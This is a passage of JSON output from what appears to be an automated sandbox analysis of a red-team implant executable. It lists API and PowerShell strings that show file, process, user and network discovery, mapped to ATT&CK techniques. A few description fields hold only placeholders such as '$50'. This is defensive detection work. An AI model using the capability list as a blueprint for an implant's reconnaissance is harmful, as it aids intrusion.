\"/usr/local/go/src/internal/chacha8rand/chacha8.go\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"/usr/local/go/src/internal/chacha8rand/chacha8_amd64.s\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-83","type":2,"relevance":1,"name":"Contains ability to enumerate files on disk (API string)","description":"file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"FindNextFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"FindNextFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"FindNextFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-85","type":2,"relevance":1,"name":"Contains ability to enumerate process and/or its information (API string)","description":"$50","description_v2":["Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Module32Next\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Module32First\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Process32Next\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Process32First\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetCurrentProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateToolhelp32Snapshot\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetEnvironmentStrings\" (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Module32Next\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"Module32First\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"Process32Next\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"Process32First\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetEnvironmentStrings\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Module32Next\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Module32First\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Process32Next\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Process32First\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCurrentProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateToolhelp32Snapshot\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetEnvironmentStrings\" (Indicator: \"GetEnvironmentStrings\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Module32Next\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Module32First\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Process32Next\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Process32First\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetEnvironmentStrings\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-118","type":2,"relevance":1,"name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-452","type":2,"relevance":1,"name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1087","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1087","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-427","type":2,"relevance":1,"name":"Contains ability to retrieve a module handle (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-317","type":2,"relevance":1,"name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetProcAddress\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetProcAddress\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-207","type":2,"relevance":1,"name":"Contains ability to retrieve file and directory information (API string)","description":"$51","description_v2":["Found reference to API \"GetSystemDirectoryA\" (Indicator: \"GetSystemDirectory\"; File: \"RedTeamImplant.exe\")","Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetTempPath\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetCurrentDirectory\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ReadDirectoryChange\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"QueryInformationFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetCurrentDirectory\" (Indicator: \"GetCurrentDirectory\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetFileAttributesEx\" (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetFileAttributes\" (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.NtQueryInformationFile\" (Indicator: \"QueryInformationFile\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.ErrorLoadingGetTempPath2\" (Indicator: \"GetTempPath\"; File: \"RedTeamImplant.exe\")","Found reference to API \"os.newFileStatFromGetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")","Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetTempPath\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetCurrentDirectory\" (Indicator: \"GetCurrentDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetFileAttributesEx\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetFileAttributes\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.NtQueryInformationFile\" (Indicator: \"QueryInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.ErrorLoadingGetTempPath2\" (Indicator: \"GetTempPath\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetSystemDirectoryA\" (Indicator: \"GetSystemDirectory\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTempPath\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCurrentDirectory\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ReadDirectoryChange\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"QueryInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCurrentDirectory\" (Indicator: \"GetCurrentDirectory\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileAttributesEx\" (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileAttributes\" (Indicator: \"GetFileAttributes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtQueryInformationFile\" (Indicator: \"QueryInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.ErrorLoadingGetTempPath2\" (Indicator: \"GetTempPath\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"os.newFileStatFromGetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTempPath\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCurrentDirectory\" (Indicator: \"GetCurrentDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileAttributesEx\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileAttributes\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtQueryInformationFile\" (Indicator: \"QueryInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.ErrorLoadingGetTempPath2\" (Indicator: \"GetTempPath\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-291","type":2,"relevance":1,"name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"Get-Process\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"Get-Process\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Get-Process\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Get-Process\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-122","type":2,"relevance":1,"name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetComputerName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetComputerName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetComputerName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-164","type":2,"relevance":1,"name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-107","type":2,"relevance":1,"name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-224","type":2,"relevance":1,"name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"getsockname\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-121","type":2,"relevance":1,"name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$52","description_v2":["file/memory contains long string with (Indicator: \"GetUserName\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LookupAccountSid\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetGetJoinInformation\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetUserName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"LookupAccountSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetTokenInformation\"; Source: 